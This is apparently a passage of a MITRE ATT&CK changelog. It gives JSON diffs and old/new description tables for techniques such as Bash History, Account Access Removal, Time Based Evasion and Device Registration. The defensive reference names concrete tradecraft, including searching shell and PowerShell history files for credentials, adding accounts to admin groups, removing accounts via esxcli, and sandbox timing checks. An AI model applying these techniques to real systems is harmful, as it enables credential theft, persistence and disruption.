to instance and virtual machine information via APIs. Successful authenticated API calls can return data such as the operating system platform and status of a particular instance or the model view of a virtual machine.(Citation: Amazon Describe Instance)(Citation: Google Instances Resource)(Citation: Microsoft Virutal Machine API)\\n \"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained.\\n\\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Further, [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands may also be used to gather detailed system information with built-in features native to the network device platform. Monitor CLI activity for unexpected or unauthorized use commands being run by non-standard users from non-standard locations. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\\n\\nIn cloud-based systems, native logging can be used to identify access to certain APIs and dashboards that may contain system information. Depending on how the environment is used, that data alone may not be useful due to benign use during normal operations.\", \"diff\": \"--- \\n+++ \\n@@ -1,5 +0,0 @@\\n-System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained.\\n-\\n-Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Further, [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands may also be used to gather detailed system information with built-in features native to the network device platform. Monitor CLI activity for unexpected or unauthorized use commands being run by non-standard users from non-standard locations. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\\n-\\n-In cloud-based systems, native logging can be used to identify access to certain APIs and dashboards that may contain system information. Depending on how the environment is used, that data alone may not be useful due to benign use during normal operations.\"}, \"root['x_mitre_version']\": {\"new_value\": \"3.0\", \"old_value\": \"2.6\"}}}",
+ "previous_version": "2.6",
+ "version_change": "2.6 \u2192 3.0",
+ "description_change_table": "\n | Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | An adversary may attempt to get detailed information about t | t | 1 | An adversary may attempt to get detailed information about t |
| > | he operating system and hardware, including version, patches | > | he operating system and hardware, including version, patches | ||
| > | , hotfixes, service packs, and architecture. Adversaries may | > | , hotfixes, service packs, and architecture. Adversaries may | ||
| > | use the information from [System Information Discovery](htt | > | use this information to shape follow-on behaviors, includin | ||
| > | ps://attack.mitre.org/techniques/T1082) during automated dis | > | g whether or not the adversary fully infects the target and/ | ||
| > | covery to shape follow-on behaviors, including whether or no | > | or attempts specific actions. This behavior is distinct from | ||
| > | t the adversary fully infects the target and/or attempts spe | > | [Local Storage Discovery](https://attack.mitre.org/techniqu | ||
| > | cific actions. Tools such as [Systeminfo](https://attack.mi | > | es/T1680) which is an adversary's discovery of local drive, | ||
| > | tre.org/software/S0096) can be used to gather detailed syste | > | disks and/or volumes. Tools such as [Systeminfo](https://at | ||
| > | m information. If running with privileged access, a breakdow | > | tack.mitre.org/software/S0096) can be used to gather detaile | ||
| > | n of system data can be gathered through the <code>systemset | > | d system information. If running with privileged access, a b | ||
| > | up</code> configuration tool on macOS. As an example, advers | > | reakdown of system data can be gathered through the <code>sy | ||
| > | aries with user-level access can execute the <code>df -aH</c | > | stemsetup</code> configuration tool on macOS. Adversaries ma | ||
| > | ode> command to obtain currently mounted disks and associate | > | y leverage a [Network Device CLI](https://attack.mitre.org/t | ||
| > | d freely available space. Adversaries may also leverage a [N | > | echniques/T1059/008) on network devices to gather detailed s | ||
| > | etwork Device CLI](https://attack.mitre.org/techniques/T1059 | > | ystem information (e.g. <code>show version</code>).(Citation | ||
| > | /008) on network devices to gather detailed system informati | > | : US-CERT-TA18-106A) On ESXi servers, threat actors may gath | ||
| > | on (e.g. <code>show version</code>).(Citation: US-CERT-TA18- | > | er system information from various esxcli utilities, such as | ||
| > | 106A) On ESXi servers, threat actors may gather system infor | > | `system hostname get` and `system version get`.(Citation: C | ||
| > | mation from various esxcli utilities, such as `system hostna | > | rowdstrike Hypervisor Jackpotting Pt 2 2021)(Citation: Varon | ||
| > | me get`, `system version get`, and `storage filesystem list` | > | is) Infrastructure as a Service (IaaS) cloud providers such | ||
| > | (to list storage volumes).(Citation: Crowdstrike Hypervisor | > | as AWS, GCP, and Azure allow access to instance and virtual | ||
| > | Jackpotting Pt 2 2021)(Citation: Varonis) Infrastructure a | > | machine information via APIs. Successful authenticated API | ||
| > | s a Service (IaaS) cloud providers such as AWS, GCP, and Azu | > | calls can return data such as the operating system platform | ||
| > | re allow access to instance and virtual machine information | > | and status of a particular instance or the model view of a v | ||
| > | via APIs. Successful authenticated API calls can return data | > | irtual machine.(Citation: Amazon Describe Instance)(Citation | ||
| > | such as the operating system platform and status of a parti | > | : Google Instances Resource)(Citation: Microsoft Virutal Mac | ||
| > | cular instance or the model view of a virtual machine.(Citat | > | hine API) [System Information Discovery](https://attack.mit | ||
| > | ion: Amazon Describe Instance)(Citation: Google Instances Re | > | re.org/techniques/T1082) combined with information gathered | ||
| > | source)(Citation: Microsoft Virutal Machine API) [System In | > | from other forms of discovery and reconnaissance can drive p | ||
| > | formation Discovery](https://attack.mitre.org/techniques/T10 | > | ayload development and concealment.(Citation: OSX.FairyTale) | ||
| > | 82) combined with information gathered from other forms of d | > | (Citation: 20 macOS Common Tools and Techniques) | ||
| > | iscovery and reconnaissance can drive payload development an | ||||
| > | d concealment.(Citation: OSX.FairyTale)(Citation: 20 macOS C | ||||
| > | ommon Tools and Techniques) |
.bash_history file. For each user, this file resides at the same location: ~/.bash_history. Typically, this file keeps track of the user\\u2019s last 500 commands. Users often type usernames and passwords on the command-line as parameters to programs, which then get saved to this file when they log out. Adversaries can abuse this by looking through the file for potential credentials. (Citation: External to DA, the OS X Way)\", \"diff\": \"--- \\n+++ \\n@@ -1 +1,7 @@\\n-Adversaries may search the bash command history on compromised systems for insecurely stored credentials. Bash keeps track of the commands users type on the command-line with the \\\"history\\\" utility. Once a user logs out, the history is flushed to the user\\u2019s .bash_history file. For each user, this file resides at the same location: ~/.bash_history. Typically, this file keeps track of the user\\u2019s last 500 commands. Users often type usernames and passwords on the command-line as parameters to programs, which then get saved to this file when they log out. Adversaries can abuse this by looking through the file for potential credentials. (Citation: External to DA, the OS X Way)\\n+Adversaries may search the command history on compromised systems for insecurely stored credentials.\\n+\\n+On Linux and macOS systems, shells such as Bash and Zsh keep track of the commands users type on the command-line with the \\\"history\\\" utility. Once a user logs out, the history is flushed to the user's history file. For each user, this file resides at the same location: for example, `~/.bash_history` or `~/.zsh_history`. Typically, these files keeps track of the user's last 1000 commands.\\n+\\n+On Windows, PowerShell has both a command history that is wiped after the session ends, and one that contains commands used in all sessions and is persistent. The default location for persistent history can be found in `%userprofile%\\\\AppData\\\\Roaming\\\\Microsoft\\\\Windows\\\\PowerShell\\\\PSReadline\\\\ConsoleHost_history.txt`, but command history can also be accessed with `Get-History`. Command Prompt (CMD) on Windows does not have persistent history.(Citation: Microsoft about_History)(Citation: Medium)\\n+\\n+Users often type usernames and passwords on the command-line as parameters to programs, which then get saved to this file when they log out. Adversaries can abuse this by looking through the file for potential credentials.(Citation: External to DA, the OS X Way)\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitoring when the user's .bash_history is read can help alert to suspicious activity. While users do typically rely on their history of commands, they often access this history through other utilities like \\\"history\\\" instead of commands like cat ~/.bash_history.\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.0\", \"old_value\": \"1.2\"}}, \"iterable_item_added\": {\"root['external_references'][2]\": {\"source_name\": \"Medium\", \"description\": \"Michael Koczwara. (2021, March 14). Windows privilege escalation via PowerShell History. Retrieved June 13, 2025.\", \"url\": \"https://michaelkoczwara.medium.com/windows-privilege-escalation-dbb908cce8d4\"}, \"root['external_references'][3]\": {\"source_name\": \"Microsoft about_History\", \"description\": \"Microsoft. (2024, January 19). about_History. Retrieved June 13, 2025.\", \"url\": \"https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_history?view=powershell-7.5\"}, \"root['x_mitre_platforms'][2]\": \"Windows\"}}",
+ "previous_version": "1.2",
+ "version_change": "1.2 \u2192 2.0",
+ "description_change_table": "\n | Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may search the bash command history on compromis | t | 1 | Adversaries may search the command history on compromised sy |
| > | ed systems for insecurely stored credentials. Bash keeps tra | > | stems for insecurely stored credentials. On Linux and macOS | ||
| > | ck of the commands users type on the command-line with the \" | > | systems, shells such as Bash and Zsh keep track of the comm | ||
| > | history\" utility. Once a user logs out, the history is flush | > | ands users type on the command-line with the \"history\" utili | ||
| > | ed to the user\u2019s <code>.bash_history</code> file. For each u | > | ty. Once a user logs out, the history is flushed to the user | ||
| > | ser, this file resides at the same location: <code>~/.bash_h | > | 's history file. For each user, this file resides at the sam | ||
| > | istory</code>. Typically, this file keeps track of the user\u2019 | > | e location: for example, `~/.bash_history` or `~/.zsh_histor | ||
| > | s last 500 commands. Users often type usernames and password | > | y`. Typically, these files keeps track of the user's last 10 | ||
| > | s on the command-line as parameters to programs, which then | > | 00 commands. On Windows, PowerShell has both a command hist | ||
| > | get saved to this file when they log out. Adversaries can ab | > | ory that is wiped after the session ends, and one that conta | ||
| > | use this by looking through the file for potential credentia | > | ins commands used in all sessions and is persistent. The def | ||
| > | ls. (Citation: External to DA, the OS X Way) | > | ault location for persistent history can be found in `%userp | ||
| > | rofile%\\AppData\\Roaming\\Microsoft\\Windows\\PowerShell\\PSReadl | ||||
| > | ine\\ConsoleHost_history.txt`, but command history can also b | ||||
| > | e accessed with `Get-History`. Command Prompt (CMD) on Windo | ||||
| > | ws does not have persistent history.(Citation: Microsoft abo | ||||
| > | ut_History)(Citation: Medium) Users often type usernames an | ||||
| > | d passwords on the command-line as parameters to programs, w | ||||
| > | hich then get saved to this file when they log out. Adversar | ||||
| > | ies can abuse this by looking through the file for potential | ||||
| > | credentials.(Citation: External to DA, the OS X Way) |
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may employ various time-based methods to detect | t | 1 | Adversaries may employ various time-based methods to detect |
| > | and avoid virtualization and analysis environments. This may | > | virtualization and analysis environments, particularly those | ||
| > | include enumerating time-based properties, such as uptime o | > | that attempt to manipulate time mechanisms to simulate long | ||
| > | r the system clock, as well as the use of timers or other tr | > | er elapses of time. This may include enumerating time-based | ||
| > | iggers to avoid a virtual machine environment (VME) or sandb | > | properties, such as uptime or the system clock. Adversarie | ||
| > | ox, specifically those that are automated or only operate fo | > | s may use calls like `GetTickCount` and `GetSystemTimeAsFile | ||
| > | r a limited amount of time. Adversaries may employ various | > | Time` to discover if they are operating within a virtual mac | ||
| > | time-based evasions, such as delaying malware functionality | > | hine or sandbox, or may be able to identify a sandbox accele | ||
| > | upon initial execution using programmatic sleep commands or | > | rating time by sampling and calculating the expected value f | ||
| > | native system scheduling functionality (ex: [Scheduled Task/ | > | or an environment's timestamp before and after execution of | ||
| > | Job](https://attack.mitre.org/techniques/T1053)). Delays may | > | a sleep function.(Citation: ISACA Malware Tricks) | ||
| > | also be based on waiting for specific victim conditions to | ||||
| > | be met (ex: system time, events, etc.) or employ scheduled [ | ||||
| > | Multi-Stage Channels](https://attack.mitre.org/techniques/T1 | ||||
| > | 104) to avoid analysis and scrutiny.(Citation: Deloitte Envi | ||||
| > | ronment Awareness) Benign commands or other operations may | ||||
| > | also be used to delay malware execution. Loops or otherwise | ||||
| > | needless repetitions of commands, such as [Ping](https://att | ||||
| > | ack.mitre.org/software/S0097)s, may be used to delay malware | ||||
| > | execution and potentially exceed time thresholds of automat | ||||
| > | ed analysis environments.(Citation: Revil Independence Day)( | ||||
| > | Citation: Netskope Nitol) Another variation, commonly referr | ||||
| > | ed to as API hammering, involves making various calls to [Na | ||||
| > | tive API](https://attack.mitre.org/techniques/T1106) functio | ||||
| > | ns in order to delay execution (while also potentially overl | ||||
| > | oading analysis environments with junk data).(Citation: Joe | ||||
| > | Sec Nymaim)(Citation: Joe Sec Trickbot) Adversaries may als | ||||
| > | o use time as a metric to detect sandboxes and analysis envi | ||||
| > | ronments, particularly those that attempt to manipulate time | ||||
| > | mechanisms to simulate longer elapses of time. For example, | ||||
| > | an adversary may be able to identify a sandbox accelerating | ||||
| > | time by sampling and calculating the expected value for an | ||||
| > | environment's timestamp before and after execution of a slee | ||||
| > | p function.(Citation: ISACA Malware Tricks) |
Set-LocalUser and Set-ADAccountPassword [PowerShell](https://attack.mitre.org/techniques/T1059/001) cmdlets may be used by adversaries to modify user accounts. Accounts could also be disabled by Group Policy. In Linux, the passwd utility may be used to change passwords. On ESXi servers, accounts can be removed or modified via esxcli (`system account set`, `system account remove`).\n\nAdversaries who use ransomware or similar attacks may first perform this and other Impact behaviors, such as [Data Destruction](https://attack.mitre.org/techniques/T1485) and [Defacement](https://attack.mitre.org/techniques/T1491), in order to impede incident response/recovery before completing the [Data Encrypted for Impact](https://attack.mitre.org/techniques/T1486) objective. ",
+ "kill_chain_phases": [
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "impact"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1531",
+ "external_id": "T1531"
+ },
+ {
+ "source_name": "CarbonBlack LockerGoga 2019",
+ "description": "CarbonBlack Threat Analysis Unit. (2019, March 22). TAU Threat Intelligence Notification \u2013 LockerGoga Ransomware. Retrieved April 16, 2019.",
+ "url": "https://www.carbonblack.com/2019/03/22/tau-threat-intelligence-notification-lockergoga-ransomware/"
+ },
+ {
+ "source_name": "Unit42 LockerGoga 2019",
+ "description": "Harbison, M. (2019, March 26). Born This Way? Origins of LockerGoga. Retrieved April 16, 2019.",
+ "url": "https://unit42.paloaltonetworks.com/born-this-way-origins-of-lockergoga/"
+ },
+ {
+ "source_name": "Obsidian Security SaaS Ransomware June 2023",
+ "description": "Obsidian Threat Research Team. (2023, June 6). SaaS Ransomware Observed in the Wild for Sharepoint in Microsoft 365. Retrieved October 5, 2025.",
+ "url": "https://web.archive.org/web/20230608061141/https://www.obsidiansecurity.com/blog/saas-ransomware-observed-sharepoint-microsoft-365/"
+ }
+ ],
+ "object_marking_refs": [
+ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+ ],
+ "x_mitre_attack_spec_version": "3.3.0",
+ "x_mitre_contributors": [
+ "Hubert Mank",
+ "Arun Seelagan, CISA",
+ "Liran Ravich, CardinalOps"
+ ],
+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
+ "x_mitre_domains": [
+ "enterprise-attack"
+ ],
+ "x_mitre_impact_type": [
+ "Availability"
+ ],
+ "x_mitre_is_subtechnique": false,
+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "Linux",
+ "macOS",
+ "Windows",
+ "SaaS",
+ "IaaS",
+ "Office Suite",
+ "ESXi"
+ ],
+ "x_mitre_version": "1.5",
+ "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Active Directory: Active Directory Object Modification\", \"User Account: User Account Modification\", \"User Account: User Account Deletion\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:14.836000+00:00\", \"old_value\": \"2025-04-15 19:58:58.987000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may interrupt availability of system and network resources by inhibiting access to accounts utilized by legitimate users. Accounts may be deleted, locked, or manipulated (ex: changed credentials, revoked permissions for SaaS platforms such as Sharepoint) to remove access to accounts.(Citation: Obsidian Security SaaS Ransomware June 2023) Adversaries may also subsequently log off and/or perform a [System Shutdown/Reboot](https://attack.mitre.org/techniques/T1529) to set malicious changes into place.(Citation: CarbonBlack LockerGoga 2019)(Citation: Unit42 LockerGoga 2019)\\n\\nIn Windows, [Net](https://attack.mitre.org/software/S0039) utility, Set-LocalUser and Set-ADAccountPassword [PowerShell](https://attack.mitre.org/techniques/T1059/001) cmdlets may be used by adversaries to modify user accounts. Accounts could also be disabled by Group Policy. In Linux, the passwd utility may be used to change passwords. On ESXi servers, accounts can be removed or modified via esxcli (`system account set`, `system account remove`).\\n\\nAdversaries who use ransomware or similar attacks may first perform this and other Impact behaviors, such as [Data Destruction](https://attack.mitre.org/techniques/T1485) and [Defacement](https://attack.mitre.org/techniques/T1491), in order to impede incident response/recovery before completing the [Data Encrypted for Impact](https://attack.mitre.org/techniques/T1486) objective. \", \"old_value\": \"Adversaries may interrupt availability of system and network resources by inhibiting access to accounts utilized by legitimate users. Accounts may be deleted, locked, or manipulated (ex: changed credentials) to remove access to accounts. Adversaries may also subsequently log off and/or perform a [System Shutdown/Reboot](https://attack.mitre.org/techniques/T1529) to set malicious changes into place.(Citation: CarbonBlack LockerGoga 2019)(Citation: Unit42 LockerGoga 2019)\\n\\nIn Windows, [Net](https://attack.mitre.org/software/S0039) utility, Set-LocalUser and Set-ADAccountPassword [PowerShell](https://attack.mitre.org/techniques/T1059/001) cmdlets may be used by adversaries to modify user accounts. Accounts could also be disabled by Group Policy. In Linux, the passwd utility may be used to change passwords. On ESXi servers, accounts can be removed or modified via esxcli (`system account set`, `system account remove`).\\n\\nAdversaries who use ransomware or similar attacks may first perform this and other Impact behaviors, such as [Data Destruction](https://attack.mitre.org/techniques/T1485) and [Defacement](https://attack.mitre.org/techniques/T1491), in order to impede incident response/recovery before completing the [Data Encrypted for Impact](https://attack.mitre.org/techniques/T1486) objective. \", \"diff\": \"--- \\n+++ \\n@@ -1,4 +1,4 @@\\n-Adversaries may interrupt availability of system and network resources by inhibiting access to accounts utilized by legitimate users. Accounts may be deleted, locked, or manipulated (ex: changed credentials) to remove access to accounts. Adversaries may also subsequently log off and/or perform a [System Shutdown/Reboot](https://attack.mitre.org/techniques/T1529) to set malicious changes into place.(Citation: CarbonBlack LockerGoga 2019)(Citation: Unit42 LockerGoga 2019)\\n+Adversaries may interrupt availability of system and network resources by inhibiting access to accounts utilized by legitimate users. Accounts may be deleted, locked, or manipulated (ex: changed credentials, revoked permissions for SaaS platforms such as Sharepoint) to remove access to accounts.(Citation: Obsidian Security SaaS Ransomware June 2023) Adversaries may also subsequently log off and/or perform a [System Shutdown/Reboot](https://attack.mitre.org/techniques/T1529) to set malicious changes into place.(Citation: CarbonBlack LockerGoga 2019)(Citation: Unit42 LockerGoga 2019)\\n \\n In Windows, [Net](https://attack.mitre.org/software/S0039) utility, Set-LocalUser and Set-ADAccountPassword [PowerShell](https://attack.mitre.org/techniques/T1059/001) cmdlets may be used by adversaries to modify user accounts. Accounts could also be disabled by Group Policy. In Linux, the passwd utility may be used to change passwords. On ESXi servers, accounts can be removed or modified via esxcli (`system account set`, `system account remove`).\\n \"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Use process monitoring to monitor the execution and command line parameters of binaries involved in deleting accounts or changing passwords, such as use of [Net](https://attack.mitre.org/software/S0039). Windows event logs may also designate activity associated with an adversary's attempt to remove access to an account:\\n\\n* Event ID 4723 - An attempt was made to change an account's password\\n* Event ID 4724 - An attempt was made to reset an account's password\\n* Event ID 4726 - A user account was deleted\\n* Event ID 4740 - A user account was locked out\\n\\nAlerting on [Net](https://attack.mitre.org/software/S0039) and these Event IDs may generate a high degree of false positives, so compare against baseline knowledge for how systems are typically used and correlate modification events with other indications of malicious activity where possible.\", \"diff\": \"--- \\n+++ \\n@@ -1,8 +0,0 @@\\n-Use process monitoring to monitor the execution and command line parameters of binaries involved in deleting accounts or changing passwords, such as use of [Net](https://attack.mitre.org/software/S0039). Windows event logs may also designate activity associated with an adversary's attempt to remove access to an account:\\n-\\n-* Event ID 4723 - An attempt was made to change an account's password\\n-* Event ID 4724 - An attempt was made to reset an account's password\\n-* Event ID 4726 - A user account was deleted\\n-* Event ID 4740 - A user account was locked out\\n-\\n-Alerting on [Net](https://attack.mitre.org/software/S0039) and these Event IDs may generate a high degree of false positives, so compare against baseline knowledge for how systems are typically used and correlate modification events with other indications of malicious activity where possible.\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.5\", \"old_value\": \"1.4\"}}, \"iterable_item_added\": {\"root['external_references'][3]\": {\"source_name\": \"Obsidian Security SaaS Ransomware June 2023\", \"description\": \"Obsidian Threat Research Team. (2023, June 6). SaaS Ransomware Observed in the Wild for Sharepoint in Microsoft 365. Retrieved October 5, 2025.\", \"url\": \"https://web.archive.org/web/20230608061141/https://www.obsidiansecurity.com/blog/saas-ransomware-observed-sharepoint-microsoft-365/\"}, \"root['x_mitre_contributors'][2]\": \"Liran Ravich, CardinalOps\"}}",
+ "previous_version": "1.4",
+ "version_change": "1.4 \u2192 1.5",
+ "description_change_table": "\n | Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may interrupt availability of system and network | t | 1 | Adversaries may interrupt availability of system and network |
| > | resources by inhibiting access to accounts utilized by legi | > | resources by inhibiting access to accounts utilized by legi | ||
| > | timate users. Accounts may be deleted, locked, or manipulate | > | timate users. Accounts may be deleted, locked, or manipulate | ||
| > | d (ex: changed credentials) to remove access to accounts. Ad | > | d (ex: changed credentials, revoked permissions for SaaS pla | ||
| > | versaries may also subsequently log off and/or perform a [Sy | > | tforms such as Sharepoint) to remove access to accounts.(Cit | ||
| > | stem Shutdown/Reboot](https://attack.mitre.org/techniques/T1 | > | ation: Obsidian Security SaaS Ransomware June 2023) Adversar | ||
| > | 529) to set malicious changes into place.(Citation: CarbonBl | > | ies may also subsequently log off and/or perform a [System S | ||
| > | ack LockerGoga 2019)(Citation: Unit42 LockerGoga 2019) In W | > | hutdown/Reboot](https://attack.mitre.org/techniques/T1529) t | ||
| > | indows, [Net](https://attack.mitre.org/software/S0039) utili | > | o set malicious changes into place.(Citation: CarbonBlack Lo | ||
| > | ty, <code>Set-LocalUser</code> and <code>Set-ADAccountPasswo | > | ckerGoga 2019)(Citation: Unit42 LockerGoga 2019) In Windows | ||
| > | rd</code> [PowerShell](https://attack.mitre.org/techniques/T | > | , [Net](https://attack.mitre.org/software/S0039) utility, <c | ||
| > | 1059/001) cmdlets may be used by adversaries to modify user | > | ode>Set-LocalUser</code> and <code>Set-ADAccountPassword</co | ||
| > | accounts. Accounts could also be disabled by Group Policy. I | > | de> [PowerShell](https://attack.mitre.org/techniques/T1059/0 | ||
| > | n Linux, the <code>passwd</code> utility may be used to chan | > | 01) cmdlets may be used by adversaries to modify user accoun | ||
| > | ge passwords. On ESXi servers, accounts can be removed or mo | > | ts. Accounts could also be disabled by Group Policy. In Linu | ||
| > | dified via esxcli (`system account set`, `system account rem | > | x, the <code>passwd</code> utility may be used to change pas | ||
| > | ove`). Adversaries who use ransomware or similar attacks ma | > | swords. On ESXi servers, accounts can be removed or modified | ||
| > | y first perform this and other Impact behaviors, such as [Da | > | via esxcli (`system account set`, `system account remove`). | ||
| > | ta Destruction](https://attack.mitre.org/techniques/T1485) a | > | Adversaries who use ransomware or similar attacks may firs | ||
| > | nd [Defacement](https://attack.mitre.org/techniques/T1491), | > | t perform this and other Impact behaviors, such as [Data Des | ||
| > | in order to impede incident response/recovery before complet | > | truction](https://attack.mitre.org/techniques/T1485) and [De | ||
| > | ing the [Data Encrypted for Impact](https://attack.mitre.org | > | facement](https://attack.mitre.org/techniques/T1491), in ord | ||
| > | /techniques/T1486) objective. | > | er to impede incident response/recovery before completing th | ||
| > | e [Data Encrypted for Impact](https://attack.mitre.org/techn | ||||
| > | iques/T1486) objective. |
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | An adversary may add additional local or domain groups to an | t | 1 | An adversary may add additional local or domain groups to an |
| > | adversary-controlled account to maintain persistent access | > | adversary-controlled account to maintain persistent access | ||
| > | to a system or domain. On Windows, accounts may use the `ne | > | to a system or domain. On Windows, accounts may use the `ne | ||
| > | t localgroup` and `net group` commands to add existing users | > | t localgroup` and `net group` commands to add existing users | ||
| > | to local and domain groups.(Citation: Microsoft Net Localgr | > | to local and domain groups.(Citation: Microsoft Net Localgr | ||
| > | oup)(Citation: Microsoft Net Group) On Linux, adversaries ma | > | oup)(Citation: Microsoft Net Group) On Linux, adversaries ma | ||
| > | y use the `usermod` command for the same purpose.(Citation: | > | y use the `usermod` command for the same purpose.(Citation: | ||
| > | Linux Usermod) For example, accounts may be added to the lo | > | Linux Usermod) For example, accounts may be added to the lo | ||
| > | cal administrators group on Windows devices to maintain elev | > | cal administrators group on Windows devices to maintain elev | ||
| > | ated privileges. They may also be added to the Remote Deskto | > | ated privileges. They may also be added to the Remote Deskto | ||
| > | p Users group, which allows them to leverage [Remote Desktop | > | p Users group, which allows them to leverage [Remote Desktop | ||
| > | Protocol](https://attack.mitre.org/techniques/T1021/001) to | > | Protocol](https://attack.mitre.org/techniques/T1021/001) to | ||
| > | log into the endpoints in the future.(Citation: Microsoft R | > | log into the endpoints in the future.(Citation: Microsoft R | ||
| > | DP Logons) On Linux, accounts may be added to the sudoers gr | > | DP Logons) Adversaries may also add accounts to VPN user gro | ||
| > | oup, allowing them to persistently leverage [Sudo and Sudo C | > | ups to gain future persistence on the network.(Citation: Cyb | ||
| > | aching](https://attack.mitre.org/techniques/T1548/003) for e | > | er Security News) On Linux, accounts may be added to the sud | ||
| > | levated privileges. In Windows environments, machine accou | > | oers group, allowing them to persistently leverage [Sudo and | ||
| > | nts may also be added to domain groups. This allows the loca | > | Sudo Caching](https://attack.mitre.org/techniques/T1548/003 | ||
| > | l SYSTEM account to gain privileges on the domain.(Citation: | > | ) for elevated privileges. In Windows environments, machin | ||
| > | RootDSE AD Detection 2022) | > | e accounts may also be added to domain groups. This allows t | ||
| > | he local SYSTEM account to gain privileges on the domain.(Ci | ||||
| > | tation: RootDSE AD Detection 2022) |
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may register a device to an adversary-controlled | t | 1 | Adversaries may register a device to an adversary-controlled |
| > | account. Devices may be registered in a multifactor authent | > | account. Devices may be registered in a multifactor authent | ||
| > | ication (MFA) system, which handles authentication to the ne | > | ication (MFA) system, which handles authentication to the ne | ||
| > | twork, or in a device management system, which handles devic | > | twork, or in a device management system, which handles devic | ||
| > | e access and compliance. MFA systems, such as Duo or Okta, | > | e access and compliance. MFA systems, such as Duo or Okta, | ||
| > | allow users to associate devices with their accounts in orde | > | allow users to associate devices with their accounts in orde | ||
| > | r to complete MFA requirements. An adversary that compromise | > | r to complete MFA requirements. An adversary that compromise | ||
| > | s a user\u2019s credentials may enroll a new device in order to b | > | s a user\u2019s credentials may enroll a new device in order to b | ||
| > | ypass initial MFA requirements and gain persistent access to | > | ypass initial MFA requirements and gain persistent access to | ||
| > | a network.(Citation: CISA MFA PrintNightmare)(Citation: Dar | > | a network.(Citation: CISA MFA PrintNightmare)(Citation: Dar | ||
| > | kReading FireEye SolarWinds) In some cases, the MFA self-enr | > | kReading FireEye SolarWinds) In some cases, the MFA self-enr | ||
| > | ollment process may require only a username and password to | > | ollment process may require only a username and password to | ||
| > | enroll the account's first device or to enroll a device to a | > | enroll the account's first device or to enroll a device to a | ||
| > | n inactive account. (Citation: Mandiant APT29 Microsoft 365 | > | n inactive account. (Citation: Mandiant APT29 Microsoft 365 | ||
| > | 2022) Similarly, an adversary with existing access to a net | > | 2022) Similarly, an adversary with existing access to a net | ||
| > | work may register a device to Entra ID and/or its device man | > | work may register a device or a virtual machine to Entra ID | ||
| > | agement system, Microsoft Intune, in order to access sensiti | > | and/or its device management system, Microsoft Intune, in or | ||
| > | ve data or resources while bypassing conditional access poli | > | der to access sensitive data or resources while bypassing co | ||
| > | cies.(Citation: AADInternals - Device Registration)(Citation | > | nditional access policies.(Citation: AADInternals - Device R | ||
| > | : AADInternals - Conditional Access Bypass)(Citation: Micros | > | egistration)(Citation: AADInternals - Conditional Access Byp | ||
| > | oft DEV-0537) Devices registered in Entra ID may be able t | > | ass)(Citation: Microsoft DEV-0537)(Citation: Expel Atlas Lio | ||
| > | o conduct [Internal Spearphishing](https://attack.mitre.org/ | > | n 2025) Devices registered in Entra ID may be able to condu | ||
| > | techniques/T1534) campaigns via intra-organizational emails, | > | ct [Internal Spearphishing](https://attack.mitre.org/techniq | ||
| > | which are less likely to be treated as suspicious by the em | > | ues/T1534) campaigns via intra-organizational emails, which | ||
| > | ail client.(Citation: Microsoft - Device Registration) Addit | > | are less likely to be treated as suspicious by the email cli | ||
| > | ionally, an adversary may be able to perform a [Service Exha | > | ent.(Citation: Microsoft - Device Registration) Additionally | ||
| > | ustion Flood](https://attack.mitre.org/techniques/T1499/002) | > | , an adversary may be able to perform a [Service Exhaustion | ||
| > | on an Entra ID tenant by registering a large number of devi | > | Flood](https://attack.mitre.org/techniques/T1499/002) on an | ||
| > | ces.(Citation: AADInternals - BPRT) | > | Entra ID tenant by registering a large number of devices.(Ci | ||
| > | tation: AADInternals - BPRT) |
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may communicate using the Domain Name System (DN | t | 1 | Adversaries may communicate using the Domain Name System (DN |
| > | S) application layer protocol to avoid detection/network fil | > | S) application layer protocol to avoid detection/network fil | ||
| > | tering by blending in with existing traffic. Commands to the | > | tering by blending in with existing traffic. Commands to the | ||
